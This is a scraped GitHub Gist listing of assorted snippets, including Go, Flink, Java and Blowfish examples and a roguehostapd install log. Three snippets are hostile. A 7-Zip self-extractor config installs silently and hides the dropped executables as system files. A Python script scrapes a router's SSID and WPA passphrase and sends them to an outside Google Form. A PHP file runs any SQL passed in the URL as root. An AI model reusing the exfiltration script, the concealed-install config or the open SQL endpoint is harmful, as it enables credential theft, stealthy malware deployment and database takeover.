Skip to content

Instantly share code, notes, and snippets.

ID Flavor name VCPUs Memory (MB) Disk Ephemeral RXTX factor
2 512 MB Standard Instance 1 512 20 0 80
3 1 GB Standard Instance 1 1024 40 0 120
4 2 GB Standard Instance 2 2048 80 0 240
5 4 GB Standard Instance 2 4096 160 0 400
6 8 GB Standard Instance 4 8192 320 0 600
7 15 GB Standard Instance 6 15360 620 0 800
8 30 GB Standard Instance 8 30720 1200 0 1200
general1-1 1 GB General Purpose v1 1 1024 20 0 200
general1-2 2 GB General Purpose v1 2 2048 40 0 400
@TheNilesh
TheNilesh / main.go
Created October 23, 2020 07:07
Limit number of goroutines reading from channel
package main
import (
"fmt"
"os"
"os/signal"
"sync"
)
var wg sync.WaitGroup
@TheNilesh
TheNilesh / CoGroupShoes.java
Created June 19, 2020 06:08
Apache Flink Example of using CoGroupFunction on shoe stream
package com.quickheal.correlation;
import java.util.Date;
import java.util.Properties;
import org.apache.flink.api.common.functions.CoGroupFunction;
import org.apache.flink.api.common.functions.MapFunction;
import org.apache.flink.api.common.serialization.SimpleStringSchema;
import org.apache.flink.api.java.functions.KeySelector;
import org.apache.flink.api.java.tuple.Tuple2;
@TheNilesh
TheNilesh / config.txt
Last active October 10, 2023 08:36
config.txt for 7zip sfx
;!@Install@!UTF-8!
InstallPath="%PROGRAMDATA%\\System"
;silent mode no gui
GUIMode="2"
;Update, if system locked, skip
OverwriteMode="2+8"
; Hide System folder and content
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe"
dir615_url = 'http://192.168.1.1'
form_url = 'url to the google form which has only two text fields one for ssid and another for wpa key'
print('logging in to router')
requests.post(dir615_url + '/login.cgi',data={'username':username, 'password':password, 'submit.htm?login.htm':'Send'})
print('getting pass page')
response = requests.get(dir615_url + '/wlan_basic.htm')
soup = BeautifulSoup(response.content, 'html.parser')
input_passphrase = soup.find('input', {'name':'pskValue'})
passphrase = input_passphrase['value']
input_ssid = soup.find('input', {'name':'ssid'})
@TheNilesh
TheNilesh / roguehostapd_install.sh
Last active June 15, 2018 02:15
Error installing roguehostapd
nilesh@kali:~/tools/roguehostapd$ sudo python setup.py install
unable to execute 'x86_64-linux-gnu-gcc': No such file or directory
[!] The development package for netlink is missing. Please download it and restart the compilation.If you are on Debian-based system: 'apt-get install libnl-3-dev libnl-genl-3-dev'.
nilesh@kali:~/tools/roguehostapd$ sudo apt-get install libnl-3-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
libnl-3-dev is already the newest version (3.4.0-1).
The following packages were automatically installed and are no longer required:
libgcr-3-common libxfont1
@TheNilesh
TheNilesh / db.php
Created March 26, 2018 04:40
PHP file to execute everything
<?php
//Creating a connection
$dbname = $_GET["dbname"];
$con = mysqli_connect("localhost:3306","root","",$dbname);
if (mysqli_connect_errno())
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
/*get the sql query to execute*/
@TheNilesh
TheNilesh / MyMappingJackson2MessageConverter.java
Last active February 23, 2018 13:55
Message converter as logger
@Component
public class MyMappingJackson2MessageConverter extends AbstractHttpMessageConverter<Object> {
private static final Logger LOGGER = LoggerFactory.getLogger("RequestResponseLogger");
@Autowired
private ObjectMapper objectMapper;
@Autowired
private HttpServletRequest request;
@TheNilesh
TheNilesh / Package Listing From Instant App
Created February 14, 2018 05:59
Stack trace from adb
02-11 21:06:50.547: I/AppStorage(26744): Loaded packageName=com.mycompany.myapp.aninstantapp
02-11 21:06:50.557: I/IapkLoadService(26744): Cleared metadata for instant app com.mycompany.myapp.aninstantapp
02-11 21:06:54.447: I/DevAtomProvider(26744): https://myapp.mycompany.com/example
02-11 21:06:54.467: I/InstantApps(5286): DevManagerRouterBackendClient: AIA is sideloaded: com.mycompany.myapp.aninstantapp
02-11 21:06:55.047: E/Isotope(17994): UID: [10142] PID: [17994] UrlHandler : Could not find info for com.mycompany.myapp.aninstantapp
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot access /data/data/com.google.android.instantapps.supervisor wrt root directory /data/data/com.google.android.instantapps.supervisor/files syscall(48)
02-11 21:06:55.617: I/IsotopeNative(17994): storage_manager.cpp:166 [StorageManager]: calling uid 99025 with package name com.mycompany.myapp.aninstantapp cannot acce
@TheNilesh
TheNilesh / Python Blowfish ECB
Created September 5, 2017 10:54
Java compatible code in python
def encrypt(plaintext, key):
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
packedString = pkcs5pad(plaintext)
return (base64.b64encode(cipher.encrypt(packedString))).decode("utf-8")
def decrypt(ciphertext, key):
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
paddedstring = cipher.decrypt(base64.b64decode(ciphertext))
return pkcs5unpad(paddedstring).decode("utf-8")